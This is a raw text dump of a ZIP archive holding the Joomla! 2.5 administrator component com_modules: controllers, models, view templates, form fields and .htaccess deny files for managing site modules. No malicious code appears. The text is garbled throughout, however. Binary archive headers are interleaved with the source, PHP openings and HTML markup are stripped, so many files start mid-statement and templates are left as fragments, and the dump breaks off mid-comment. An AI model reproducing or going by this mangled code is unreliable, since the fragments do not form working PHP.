AAAAPKs>\d8Zbbcom_modules/config.xmlnuW+A
PKs>\Qcom_modules/access.xmlnuW+A
PKs>\@com_modules/controller.phpnuW+AcheckEditId('com_modules.edit.module', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_modules&view=modules', false)); return false; } parent::display(); } } PKs>\Vcom_modules/index.htmlnuW+A PKs>\ com_modules/modules.xmlnuW+A com_modules Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_MODULES_XML_DESCRIPTION config.xml controller.php index.html modules.php controllers helpers models views language/en-GB.com_modules.ini PKs>\)"com_modules/views/select/.htaccessnuW+A Order allow,deny Deny from all PKs>\V#com_modules/views/select/index.htmlnuW+A PKs>\)'com_modules/views/select/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V(com_modules/views/select/tmpl/index.htmlnuW+A PKs>\s)com_modules/views/select/tmpl/default.phpnuW+A
PKs>\(''&com_modules/views/select/view.html.phpnuW+Aget('State'); $items = $this->get('Items'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->assignRef('state', $state); $this->assignRef('items', $items); parent::display($tpl); } } PKs>\)*com_modules/views/positions/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V+com_modules/views/positions/tmpl/index.htmlnuW+A PKs>\XeB''*com_modules/views/positions/tmpl/modal.phpnuW+Aescape($this->state->get('list.ordering')); $direction = $this->escape($this->state->get('list.direction')); $clientId = $this->state->get('filter.client_id'); $state = $this->state->get('filter.state'); $template = $this->state->get('filter.template'); $type = $this->state->get('filter.type'); ?>
items as $value=>$templates) : ?>
pagination->getListFooter(); ?>
escape($value); ?>
    $label):?>
  • hasKey($label) ? JText::sprintf('COM_MODULES_MODULE_TEMPLATE_POSITION', JText::_($template), JText::_($label)) : JText::_($template);?>
PKs>\B<)com_modules/views/positions/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); } } PKs>\)%com_modules/views/positions/.htaccessnuW+A Order allow,deny Deny from all PKs>\V&com_modules/views/positions/index.htmlnuW+A PKs>\Vcom_modules/views/index.htmlnuW+A PKs>\)com_modules/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\)"com_modules/views/module/.htaccessnuW+A Order allow,deny Deny from all PKs>\07ii1com_modules/views/module/tmpl/edit_assignment.phpnuW+A
PKs>\NN&com_modules/views/module/tmpl/edit.phpnuW+Aitem->module) || $this->item->module == 'custom' || $this->item->module == 'mod_custom'; $script = "Joomla.submitbutton = function(task) { if (task == 'module.cancel' || document.formvalidator.isValid(document.id('module-form'))) {"; if ($hasContent) { $script .= $this->form->getField('content')->save(); } $script .= " Joomla.submitform(task, document.getElementById('module-form')); if (self != top) { window.top.setTimeout('window.parent.SqueezeBox.close()', 1000); } } else { alert('".$this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'))."'); } }"; JFactory::getDocument()->addScriptDeclaration($script); ?>
  • form->getLabel('title'); ?> form->getInput('title'); ?>
  • form->getLabel('showtitle'); ?> form->getInput('showtitle'); ?>
  • form->getLabel('position'); ?> form->getInput('position'); ?>
  • item->xml->name != 'Login Form'): ?>
  • form->getLabel('published'); ?> form->getInput('published'); ?>
  • form->getLabel('access'); ?> form->getInput('access'); ?>
  • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
  • item->xml->name != 'Login Form'): ?>
  • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
  • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
  • form->getLabel('language'); ?> form->getInput('language'); ?>
  • form->getLabel('note'); ?> form->getInput('note'); ?>
  • item->id) : ?>
  • form->getLabel('id'); ?> form->getInput('id'); ?>
  • form->getLabel('module'); ?> form->getInput('module'); ?>
  • form->getLabel('client_id'); ?> form->getInput('client_id'); ?>
item->xml) : ?> item->xml->description)) : ?>

loadTemplate('options'); ?>
  • form->getLabel('content'); ?>
    form->getInput('content'); ?>
item->client_id == 0) :?>
loadTemplate('assignment'); ?>
PKs>\H>css'com_modules/views/module/tmpl/modal.phpnuW+A
setLayout('edit'); echo $this->loadTemplate(); PKs>\)'com_modules/views/module/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\笗.com_modules/views/module/tmpl/edit_options.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MODULES_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

'.$this->escape(JText::_($fieldSet->description)).'

'; endif; ?>
PKs>\V(com_modules/views/module/tmpl/index.htmlnuW+A PKs>\V#com_modules/views/module/index.htmlnuW+A PKs>\HO O &com_modules/views/module/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); $canDo = ModulesHelper::getActions($this->state->get('filter.category_id'), $this->item->id); $item = $this->get('Item'); JToolBarHelper::title( JText::sprintf('COM_MODULES_MANAGER_MODULE', JText::_($this->item->module)), 'module.png'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || $canDo->get('core.create') )) { JToolBarHelper::apply('module.apply'); JToolBarHelper::save('module.save'); } if (!$checkedOut && $canDo->get('core.create')) { JToolBarHelper::save2new('module.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('module.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('module.cancel'); } else { JToolBarHelper::cancel('module.cancel', 'JTOOLBAR_CLOSE'); } // Get the help information for the menu item. $lang = JFactory::getLanguage(); $help = $this->get('Help'); if ($lang->hasKey($help->url)) { $debug = $lang->setDebug(false); $url = JText::_($help->url); $lang->setDebug($debug); } else { $url = null; } JToolBarHelper::help($help->key, false, $url); } } PKs>\ UU0com_modules/views/modules/tmpl/default_batch.phpnuW+Astate->get('filter.client_id'); $published = $this->state->get('filter.published'); ?>

= 0) : ?>
PKs>\V)com_modules/views/modules/tmpl/index.htmlnuW+A PKs>\;t$t$*com_modules/views/modules/tmpl/default.phpnuW+Astate->get('filter.client_id') ? 'administrator' : 'site'; $user = JFactory::getUser(); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_modules'); $saveOrder = $listOrder == 'ordering'; ?>
items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canCreate = $user->authorise('core.create', 'com_modules'); $canEdit = $user->authorise('core.edit', 'com_modules'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id')|| $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_modules') && $canCheckin; ?>
items, 'filesave.png', 'modules.saveorder'); ?>
pagination->getListFooter(); ?>
id); ?> checked_out) : ?> editor, $item->checked_out_time, 'modules.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?> note)) : ?>

escape($item->note));?>

published, $i, $canChange, 'cb'); ?> position) : ?> position; ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->position == $item->position), 'modules.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->position == $item->position), 'modules.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->position == $item->position), 'modules.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->position == $item->position), 'modules.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> name;?> pages; ?> escape($item->access_level); ?> language==''):?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
authorize('core.create', 'com_modules') && $user->authorize('core.edit', 'com_modules') && $user->authorize('core.edit.state', 'com_modules')) : ?> loadTemplate('batch'); ?>
PKs>\)(com_modules/views/modules/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\r<@c c 'com_modules/views/modules/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Check if there are no matching items if(!count($this->items)){ JFactory::getApplication()->enqueueMessage( JText::_('COM_MODULES_MSG_MANAGE_NO_MODULES') , 'warning' ); } $this->addToolbar(); // Include the component HTML helpers. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = ModulesHelper::getActions(); JToolBarHelper::title(JText::_('COM_MODULES_MANAGER_MODULES'), 'module.png'); if ($canDo->get('core.create')) { //JToolBarHelper::addNew('module.add'); $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Popup', 'new', 'JTOOLBAR_NEW', 'index.php?option=com_modules&view=select&tmpl=component', 850, 400); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('module.edit'); } if ($canDo->get('core.create')) { JToolBarHelper::custom('modules.duplicate', 'copy.png', 'copy_f2.png', 'JTOOLBAR_DUPLICATE', true); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('modules.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('modules.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::checkin('modules.checkin'); } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'modules.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('modules.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_modules'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_EXTENSIONS_MODULE_MANAGER'); } } PKs>\)#com_modules/views/modules/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_modules/views/modules/index.htmlnuW+A PKs>\)#com_modules/views/preview/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_modules/views/preview/index.htmlnuW+A PKs>\Ou*TT'com_modules/views/preview/view.html.phpnuW+AassignRef('editor', $editor); parent::display($tpl); } } PKs>\v*com_modules/views/preview/tmpl/default.phpnuW+A
PKs>\V)com_modules/views/preview/tmpl/index.htmlnuW+A PKs>\)(com_modules/views/preview/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\!D**com_modules/modules.phpnuW+Aauthorise('core.manage', 'com_modules')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Modules'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\?@#com_modules/controllers/modules.phpnuW+AgetModel(); $model->duplicate($pks); $this->setMessage(JText::plural('COM_MODULES_N_MODULES_DUPLICATED', count($pks))); } catch (Exception $e) { JError::raiseWarning(500, $e->getMessage()); } $this->setRedirect('index.php?option=com_modules&view=modules'); } /** * Method to get a model object, loading it if required. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * * @since 1.6 */ public function getModel($name = 'Module', $prefix = 'ModulesModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\)!com_modules/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\̪"com_modules/controllers/module.phpnuW+Ainput->get('eid', 0, 'int'); if (empty($extensionId)) { $this->setRedirect(JRoute::_('index.php?option='.$this->option.'&view='.$this->view_item.'&layout=edit', false)); return JError::raiseWarning(500, JText::_('COM_MODULES_ERROR_INVALID_EXTENSION')); } $app->setUserState('com_modules.add.module.extension_id', $extensionId); $app->setUserState('com_modules.add.module.params', null); // Parameters could be coming in for a new item, so let's set them. $params = $app->input->get('params', array(), 'array'); $app->setUserState('com_modules.add.module.params', $params); } /** * Override parent cancel method to reset the add module state. * * @param string $key The name of the primary key of the URL variable. * * @return boolean True if access level checks pass, false otherwise. * * @since 1.6 */ public function cancel($key = null) { // Initialise variables. $app = JFactory::getApplication(); $result = parent::cancel(); $app->setUserState('com_modules.add.module.extension_id', null); $app->setUserState('com_modules.add.module.params', null); return $result; } /** * Override parent allowSave method. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowSave($data, $key = 'id') { // use custom position if selected if (empty($data['position'])) { $data['position'] = $data['custom_position']; } unset($data['custom_position']); return parent::allowSave($data, $key); } /** * Method to run batch operations. * * @param string $model The model * * @return boolean True on success. * * @since 1.7 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Module', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_modules&view=modules'.$this->getRedirectToListAppend(), false)); return parent::batch($model); } /** * Function that allows child controller access to model data after the data has been saved. * * @param JModel &$model The data model object. * @param array $validData The validated data. * * @return void * * @since 1.6 */ protected function postSaveHook(JModel &$model, $validData = array()) { // Initialise variables. $app = JFactory::getApplication(); $task = $this->getTask(); switch ($task) { case 'save2new': $app->setUserState('com_modules.add.module.extension_id', $model->getState('module.extension_id')); break; default: $app->setUserState('com_modules.add.module.extension_id', null); break; } $app->setUserState('com_modules.add.module.params', null); } } PKs>\V"com_modules/controllers/index.htmlnuW+A PKs>\)com_modules/.htaccessnuW+A Order allow,deny Deny from all PKs>\)#com_modules/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\,com_modules/models/fields/moduleposition.phpnuW+Aelement['client_id']; if (!isset($clientId)) { $clientName = $this->element['client']; if (isset($clientName)) { $client = JApplicationHelper::getClientInfo($clientName, true); $clientId = $client->id; } } if (!isset($clientId) && $this->form instanceof JForm) { $clientId = $this->form->getValue('client_id'); } $clientId = (int) $clientId; // Load the modal behavior script. JHtml::_('behavior.modal', 'a.modal'); // Build the script. $script = array(); $script[] = ' function jSelectPosition_'.$this->id.'(name) {'; $script[] = ' document.id("'.$this->id.'").value = name;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Setup variables for display. $html = array(); $link = 'index.php?option=com_modules&view=positions&layout=modal&tmpl=component&function=jSelectPosition_'.$this->id.'&client_id='.$clientId; // The current user display field. $html[] = '
'; $html[] = parent::getInput(); $html[] = '
'; // The user select button. $html[] = '
'; $html[] = '
'; $html[] = ' '.JText::_('COM_MODULES_CHANGE_POSITION_BUTTON').''; $html[] = '
'; $html[] = '
'; return implode("\n", $html); } } PKs>\V$com_modules/models/fields/index.htmlnuW+A PKs>\7# )com_modules/models/fields/moduleorder.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; $html[] = ''; return implode("\n", $html); } } PKs>\ilcom_modules/models/select.phpnuW+AgetUserState('com_modules.modules.filter.client_id', 0); $this->setState('filter.client_id', (int) $clientId); // Load the parameters. $params = JComponentHelper::getParams('com_modules'); $this->setState('params', $params); // Manually set limits to get all modules. $this->setState('list.limit', 0); $this->setState('list.start', 0); $this->setState('list.ordering', 'a.name'); $this->setState('list.direction', 'ASC'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.client_id'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.extension_id, a.name, a.element AS module' ) ); $query->from($db->quoteName('#__extensions').' AS a'); // Filter by module $query->where('a.type = '.$db->Quote('module')); // Filter by client. $clientId = $this->getState('filter.client_id'); $query->where('a.client_id = '.(int) $clientId); // Filter by enabled $query->where('a.enabled = 1'); // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')).' '.$db->escape($this->getState('list.direction', 'ASC'))); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } /** * Method to get a list of items. * * @return mixed An array of objects on success, false on failure. */ public function &getItems() { // Get the list of items from the database. $items = parent::getItems(); // Initialise variables. $client = JApplicationHelper::getClientInfo($this->getState('filter.client_id', 0)); $lang = JFactory::getLanguage(); // Loop through the results to add the XML metadata, // and load language support. foreach ($items as &$item) { $path = JPath::clean($client->path.'/modules/'.$item->module.'/'.$item->module.'.xml'); if (file_exists($path)) { $item->xml = simplexml_load_file($path); } else { $item->xml = null; } // 1.5 Format; Core files or language packs then // 1.6 3PD Extension Support $lang->load($item->module . '.sys', $client->path, null, false, true) || $lang->load($item->module . '.sys', $client->path . '/modules/' . $item->module, null, false, true); $item->name = JText::_($item->name); if (isset($item->xml) && $text = trim($item->xml->description)) { $item->desc = JText::_($text); } else { $item->desc = JText::_('COM_MODULES_NODESCRIPTION'); } } $items = JArrayHelper::sortObjects($items, 'name', 1, true, $lang->getLocale()); // TODO: Use the cached XML from the extensions table? return $items; } } PKs>\Vcom_modules/models/index.htmlnuW+A PKs>\V#com_modules/models/forms/index.htmlnuW+A PKs>\)"com_modules/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\%p #com_modules/models/forms/module.xmlnuW+A
PKs>\)com_modules/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\Hcccom_modules/models/module.phpnuW+AgetUserState('com_modules.add.module.extension_id')) { $this->setState('extension.id', $extensionId); } } $this->setState('module.id', $pk); // Load the parameters. $params = JComponentHelper::getParams('com_modules'); $this->setState('params', $params); } /** * Method to perform batch operations on a set of modules. * * @param array $commands An array of commands to perform. * @param array $pks An array of item ids. * @param array $contexts An array of item contexts. * * @return boolean Returns true on success, false on failure. * * @since 1.7 */ public function batch($commands, $pks, $contexts) { // Sanitize user ids. $pks = array_unique($pks); JArrayHelper::toInteger($pks); // Remove any values of zero. if (array_search(0, $pks, true)) { unset($pks[array_search(0, $pks, true)]); } if (empty($pks)) { $this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED')); return false; } $done = false; if (!empty($commands['position_id'])) { $cmd = JArrayHelper::getValue($commands, 'move_copy', 'c'); if (!empty($commands['position_id'])) { if ($cmd == 'c') { $result = $this->batchCopy($commands['position_id'], $pks, $contexts); if (is_array($result)) { $pks = $result; } else { return false; } } elseif ($cmd == 'm' && !$this->batchMove($commands['position_id'], $pks, $contexts)) { return false; } $done = true; } } if (!empty($commands['assetgroup_id'])) { if (!$this->batchAccess($commands['assetgroup_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['language_id'])) { if (!$this->batchLanguage($commands['language_id'], $pks, $contexts)) { return false; } $done = true; } if (!$done) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION')); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Batch copy modules to a new position or current. * * @param integer $value The new value matching a module position. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 11.1 */ protected function batchCopy($value, $pks, $contexts) { // Set the variables $user = JFactory::getUser(); $table = $this->getTable(); $i = 0; foreach ($pks as $pk) { if ($user->authorise('core.create', 'com_modules')) { $table->reset(); $table->load($pk); // Set the new position if ($value == 'noposition') { $position = ''; } elseif ($value == 'nochange') { $position = $table->position; } else { $position = $value; } $table->position = $position; // Alter the title if necessary $data = $this->generateNewTitle(0, $table->title, $table->position); $table->title = $data['0']; // Reset the ID because we are making a copy $table->id = 0; // Unpublish the new module $table->published = 0; if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; // Now we need to handle the module assignments $db = $this->getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('menuid')); $query->from($db->quoteName('#__modules_menu')); $query->where($db->quoteName('moduleid') . ' = ' . $pk); $db->setQuery($query); $menus = $db->loadColumn(); // Insert the new records into the table foreach ($menus as $menu) { $query->clear(); $query->insert($db->quoteName('#__modules_menu')); $query->columns(array($db->quoteName('moduleid'), $db->quoteName('menuid'))); $query->values($newId . ', ' . $menu); $db->setQuery($query); $db->query(); } } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE')); return false; } } // Clean the cache $this->cleanCache(); return $newIds; } /** * Batch move modules to a new position or current. * * @param integer $value The new value matching a module position. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 11.1 */ protected function batchMove($value, $pks, $contexts) { // Set the variables $user = JFactory::getUser(); $table = $this->getTable(); $i = 0; foreach ($pks as $pk) { if ($user->authorise('core.edit', 'com_modules')) { $table->reset(); $table->load($pk); // Set the new position if ($value == 'noposition') { $position = ''; } elseif ($value == 'nochange') { $position = $table->position; } else { $position = $value; } $table->position = $position; // Alter the title if necessary $data = $this->generateNewTitle(0, $table->title, $table->position); $table->title = $data['0']; // Unpublish the moved module $table->published = 0; if (!$table->store()) { $this->setError($table->getError()); return false; } } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT')); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Method to delete rows. * * @param array &$pks An array of item ids. * * @return boolean Returns true on success, false on failure. * * @since 1.6 */ public function delete(&$pks) { // Initialise variables. $pks = (array) $pks; $user = JFactory::getUser(); $table = $this->getTable(); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { // Access checks. if (!$user->authorise('core.delete', 'com_modules') || $table->published != -2) { JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); // throw new Exception(JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); return; } if (!$table->delete($pk)) { throw new Exception($table->getError()); } else { // Delete the menu assignments $db = $this->getDbo(); $query = $db->getQuery(true); $query->delete(); $query->from('#__modules_menu'); $query->where('moduleid='.(int)$pk); $db->setQuery((string)$query); $db->query(); } // Clear module cache parent::cleanCache($table->module, $table->client_id); } else { throw new Exception($table->getError()); } } // Clear modules cache $this->cleanCache(); return true; } /** * Method to duplicate modules. * * @param array &$pks An array of primary key IDs. * * @return boolean True if successful. * * @since 1.6 * @throws Exception */ public function duplicate(&$pks) { // Initialise variables. $user = JFactory::getUser(); $db = $this->getDbo(); // Access checks. if (!$user->authorise('core.create', 'com_modules')) { throw new Exception(JText::_('JERROR_CORE_CREATE_NOT_PERMITTED')); } $table = $this->getTable(); foreach ($pks as $pk) { if ($table->load($pk, true)) { // Reset the id to create a new record. $table->id = 0; // Alter the title. $m = null; if (preg_match('#\((\d+)\)$#', $table->title, $m)) { $table->title = preg_replace('#\(\d+\)$#', '('.($m[1] + 1).')', $table->title); } else { $table->title .= ' (2)'; } // Unpublish duplicate module $table->published = 0; if (!$table->check() || !$table->store()) { throw new Exception($table->getError()); } // $query = 'SELECT menuid' // . ' FROM #__modules_menu' // . ' WHERE moduleid = '.(int) $pk // ; $query = $db->getQuery(true); $query->select('menuid'); $query->from('#__modules_menu'); $query->where('moduleid='.(int)$pk); $this->_db->setQuery((string)$query); $rows = $this->_db->loadColumn(); foreach ($rows as $menuid) { $tuples[] = '('.(int) $table->id.','.(int) $menuid.')'; } } else { throw new Exception($table->getError()); } } if (!empty($tuples)) { // Module-Menu Mapping: Do it in one query $query = 'INSERT INTO #__modules_menu (moduleid,menuid) VALUES '.implode(',', $tuples); $this->_db->setQuery($query); if (!$this->_db->query()) { return JError::raiseWarning(500, $this->_db->getErrorMsg()); } } // Clear modules cache $this->cleanCache(); return true; } /** * Method to change the title. * * @param integer $category_id The id of the category. Not used here. * @param string $title The title. * @param string $position The position. * * @return array Contains the modified title. * * @since 2.5 */ protected function generateNewTitle($category_id, $title, $position) { // Alter the title & alias $table = $this->getTable(); while ($table->load(array('position' => $position, 'title' => $title))) { $title = JString::increment($title); } return array($title); } /** * Method to get the client object * * @return void * * @since 1.6 */ function &getClient() { return $this->_client; } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return JForm A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // The folder and element vars are passed when saving the form. if (empty($data)) { $item = $this->getItem(); $clientId = $item->client_id; $module = $item->module; } else { $clientId = JArrayHelper::getValue($data, 'client_id'); $module = JArrayHelper::getValue($data, 'module'); } // These variables are used to add data from the plugin XML files. $this->setState('item.client_id', $clientId); $this->setState('item.module', $module); // Get the form. $form = $this->loadForm('com_modules.module', 'module', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } $form->setFieldAttribute('position', 'client', $this->getState('item.client_id') == 0 ? 'site' : 'administrator'); // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); $form->setFieldAttribute('publish_up', 'disabled', 'true'); $form->setFieldAttribute('publish_down', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); $form->setFieldAttribute('publish_up', 'filter', 'unset'); $form->setFieldAttribute('publish_down', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { $app = JFactory::getApplication(); // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_modules.edit.module.data', array()); if (empty($data)) { $data = $this->getItem(); // This allows us to inject parameter settings into a new module. $params = $app->getUserState('com_modules.add.module.params'); if (is_array($params)) { $data->set('params', $params); } } return $data; } /** * Method to get a single record. * * @param integer $pk The id of the primary key. * * @return mixed Object on success, false on failure. * * @since 1.6 */ public function getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? (int) $pk : (int) $this->getState('module.id'); $db = $this->getDbo(); if (!isset($this->_cache[$pk])) { $false = false; // Get a row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($pk); // Check for a table object error. if ($return === false && $error = $table->getError()) { $this->setError($error); return $false; } // Check if we are creating a new extension. if (empty($pk)) { if ($extensionId = (int) $this->getState('extension.id')) { $query = $db->getQuery(true); $query->select('element, client_id'); $query->from('#__extensions'); $query->where('extension_id = '.$extensionId); $query->where('type = '.$db->quote('module')); $db->setQuery($query); $extension = $db->loadObject(); if (empty($extension)) { if ($error = $db->getErrorMsg()) { $this->setError($error); } else { $this->setError('COM_MODULES_ERROR_CANNOT_FIND_MODULE'); } return false; } // Extension found, prime some module values. $table->module = $extension->element; $table->client_id = $extension->client_id; } else { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_modules&view=modules', false)); return false; } } // Convert to the JObject before adding other data. $properties = $table->getProperties(1); $this->_cache[$pk] = JArrayHelper::toObject($properties, 'JObject'); // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($table->params); $this->_cache[$pk]->params = $registry->toArray(); // Determine the page assignment mode. $db->setQuery( 'SELECT menuid' . ' FROM #__modules_menu' . ' WHERE moduleid = '.$pk ); $assigned = $db->loadColumn(); if (empty($pk)) { // If this is a new module, assign to all pages. $assignment = 0; } elseif (empty($assigned)) { // For an existing module it is assigned to none. $assignment = '-'; } else { if ($assigned[0] > 0) { $assignment = +1; } elseif ($assigned[0] < 0) { $assignment = -1; } else { $assignment = 0; } } $this->_cache[$pk]->assigned = $assigned; $this->_cache[$pk]->assignment = $assignment; // Get the module XML. $client = JApplicationHelper::getClientInfo($table->client_id); $path = JPath::clean($client->path.'/modules/'.$table->module.'/'.$table->module.'.xml'); if (file_exists($path)) { $this->_cache[$pk]->xml = simplexml_load_file($path); } else { $this->_cache[$pk]->xml = null; } } return $this->_cache[$pk]; } /** * Get the necessary data to load an item help screen. * * @return object An object with key, url, and local properties for loading the item help screen. * * @since 1.6 */ public function getHelp() { return (object) array('key' => $this->helpKey, 'url' => $this->helpURL); } /** * Returns a reference to the a Table object, always creating it. * * @param string $type The table type to instantiate * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return JTable A database object * * @since 1.6 */ public function getTable($type = 'Module', $prefix = 'JTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Prepare and sanitise the table prior to saving. * * @param JTable &$table The database object * * @return void * 